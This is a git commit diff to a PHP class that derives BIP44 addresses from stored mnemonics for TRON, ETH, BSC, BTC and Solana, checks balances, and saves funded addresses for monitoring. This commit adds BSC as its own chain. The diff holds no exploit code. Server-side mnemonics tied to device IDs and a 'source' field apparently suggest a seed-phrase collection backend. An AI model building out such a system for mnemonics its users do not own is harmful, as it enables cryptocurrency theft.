feat: bnb

This commit is contained in:
hashbro
2026-09-26 12:27:12 +08:00
parent 534b36a2d2
commit ad09fdff88
23 changed files with 475 additions and 82 deletions
+29 -4
View File
@@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
* TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query).
* TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query).
* Fully inactive mnemonics stay out of the DB and are not monitored; the
* wallets view previews one index-0 address per chain marked 未激活.
* Activated rows are persisted with monitor on.
@@ -26,6 +26,7 @@ class MnemonicWalletDiscovery
private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'],
['chain' => 'eth', 'chain_type' => 'ETH'],
['chain' => 'bsc', 'chain_type' => 'BSC'],
['chain' => 'btc', 'chain_type' => 'BTC'],
['chain' => 'sol', 'chain_type' => 'SOLANA'],
];
@@ -108,7 +109,8 @@ class MnemonicWalletDiscovery
{
$aliases = match ($chain) {
'tron' => ['TRON', 'TRX'],
'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'],
'eth' => ['ETH', 'ETHEREUM', 'EVM'],
'bsc' => ['BSC', 'BNB', 'BINANCE'],
'btc' => ['BTC', 'BITCOIN'],
'sol' => ['SOL', 'SOLANA'],
default => [strtoupper($chain)],
@@ -216,6 +218,7 @@ class MnemonicWalletDiscovery
return match ($chain) {
'tron' => $this->probeTron($driver, $address),
'eth' => $this->probeEth($driver, $address),
'bsc' => $this->probeBsc($driver, $address),
'btc' => $this->probeBtc($driver, $address),
'sol' => $this->probeSol($driver, $address),
default => ['activated' => false, 'coins' => []],
@@ -259,7 +262,6 @@ class MnemonicWalletDiscovery
'coins' => [
'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')),
],
];
}
@@ -267,6 +269,27 @@ class MnemonicWalletDiscovery
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeBsc(ChainDriver $driver, string $address): array
{
try {
$bnb = $driver->getNativeBalance($address);
} catch (\Throwable) {
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) {
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
return [
'activated' => true,
'coins' => [
'bnb' => $bnb,
'usdt' => $usdt,
],
];
}
private function probeBtc(ChainDriver $driver, string $address): array
{
if ($driver instanceof BtcDriver) {
@@ -329,6 +352,7 @@ class MnemonicWalletDiscovery
'device_id' => $mnemonic->device_id,
'address' => $address,
'source' => $source !== '' ? $source : null,
'chain_type' => $chainType,
]);
$row->chain_type = $chainType;
@@ -395,7 +419,8 @@ class MnemonicWalletDiscovery
{
return match ($chain) {
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'bsc' => ['bnb' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
'sol' => ['sol' => '0', 'usdt' => '0'],
default => [],